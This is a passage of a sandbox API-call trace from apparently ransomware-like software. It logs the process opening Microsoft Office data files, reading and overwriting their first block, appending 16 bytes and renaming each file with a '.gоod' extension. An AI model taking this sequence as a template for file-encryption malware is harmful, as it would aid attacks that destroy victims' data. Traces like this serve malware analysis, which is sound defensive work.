"c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0163.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0163.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0163.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3412b98 | out: lpFileInformation=0x3412b98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cd75)) returned 1 [0163.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0163.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0163.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.547] GetFileType (hFile=0x644) returned 0x1 [0163.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.547] GetFileType (hFile=0x644) returned 0x1 [0163.547] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0163.547] ReadFile (in: hFile=0x644, lpBuffer=0x3413060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3413060*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0163.836] CloseHandle (hObject=0x644) returned 1 [0164.049] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0164.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0164.056] GetFileType (hFile=0x7dc) returned 0x1 [0164.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.062] GetFileType (hFile=0x7dc) returned 0x1 [0164.062] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x4cd75 [0164.062] WriteFile (in: hFile=0x7dc, lpBuffer=0x34fc618*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34fc618*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0164.064] CloseHandle (hObject=0x7dc) returned 1 [0164.064] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0164.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0164.065] GetFileType (hFile=0x7dc) returned 0x1 [0164.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.065] GetFileType (hFile=0x7dc) returned 0x1 [0164.065] ReadFile (in: hFile=0x7dc, lpBuffer=0x34fea20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x34fea20*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0164.144] CloseHandle (hObject=0x7dc) returned 1 [0164.144] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0164.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0164.145] GetFileType (hFile=0x7dc) returned 0x1 [0164.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.145] GetFileType (hFile=0x7dc) returned 0x1 [0164.145] WriteFile (in: hFile=0x7dc, lpBuffer=0x332ecc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x332ecc8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0164.145] CloseHandle (hObject=0x7dc) returned 1 [0164.145] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0164.145] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5b [0164.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0164.145] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5e0c680d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4cd85)) returned 1 [0164.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0164.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0164.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0164.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0164.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x33b0d60 | out: lpFileInformation=0x33b0d60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcfa915dd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x913cb)) returned 1 [0164.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0164.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0164.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0164.147] GetFileType (hFile=0x7dc) returned 0x1 [0164.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.147] GetFileType (hFile=0x7dc) returned 0x1 [0164.147] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0164.148] ReadFile (in: hFile=0x7dc, lpBuffer=0x33b1208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x33b1208*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0164.150] CloseHandle (hObject=0x7dc) returned 1 [0164.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0164.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0164.150] GetFileType (hFile=0x7dc) returned 0x1 [0164.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.150] GetFileType (hFile=0x7dc) returned 0x1 [0164.150] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x913cb [0164.150] WriteFile (in: hFile=0x7dc, lpBuffer=0x33b24e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x33b24e8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0164.459] CloseHandle (hObject=0x7dc) returned 1 [0164.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0164.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.540] GetFileType (hFile=0x768) returned 0x1 [0164.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.540] GetFileType (hFile=0x768) returned 0x1 [0164.540] ReadFile (in: hFile=0x768, lpBuffer=0x3417480, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3417480*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0164.568] CloseHandle (hObject=0x768) returned 1 [0164.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0164.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.568] GetFileType (hFile=0x768) returned 0x1 [0164.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.568] GetFileType (hFile=0x768) returned 0x1 [0164.568] WriteFile (in: hFile=0x768, lpBuffer=0x3416190*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3416190*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0164.568] CloseHandle (hObject=0x768) returned 1 [0164.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0164.569] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x56 [0164.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0164.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5e4cca16, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x913db)) returned 1 [0164.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0164.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0164.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0164.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0164.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3493900 | out: lpFileInformation=0x3493900*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa1)) returned 1 [0164.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0164.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0164.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.571] GetFileType (hFile=0x768) returned 0x1 [0164.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.571] GetFileType (hFile=0x768) returned 0x1 [0164.571] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0164.571] ReadFile (in: hFile=0x768, lpBuffer=0x3493da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3493da8*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0164.573] CloseHandle (hObject=0x768) returned 1 [0164.573] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0164.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0164.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0164.573] GetFileType (hFile=0x768) returned 0x1 [0164.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0164.573] GetFileType (hFile=0x768) returned 0x1 [0164.573] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0xeaa1 [0164.573] WriteFile (in: hFile=0x768, lpBuffer=0x3495088*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3495088*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0164.724] CloseHandle (hObject=0x768) returned 1 [0165.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0165.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.215] GetFileType (hFile=0x768) returned 0x1 [0165.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.215] GetFileType (hFile=0x768) returned 0x1 [0165.215] ReadFile (in: hFile=0x768, lpBuffer=0x350ac88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x350ac88*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0165.242] CloseHandle (hObject=0x768) returned 1 [0165.242] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0165.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0165.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0165.242] GetFileType (hFile=0x768) returned 0x1 [0165.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0165.242] GetFileType (hFile=0x768) returned 0x1 [0165.242] WriteFile (in: hFile=0x768, lpBuffer=0x3509998*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3509998*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0165.243] CloseHandle (hObject=0x768) returned 1 [0165.243] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0165.243] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x56 [0165.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0165.243] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5eb5b18d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeab1)) returned 1 [0165.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0165.243] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 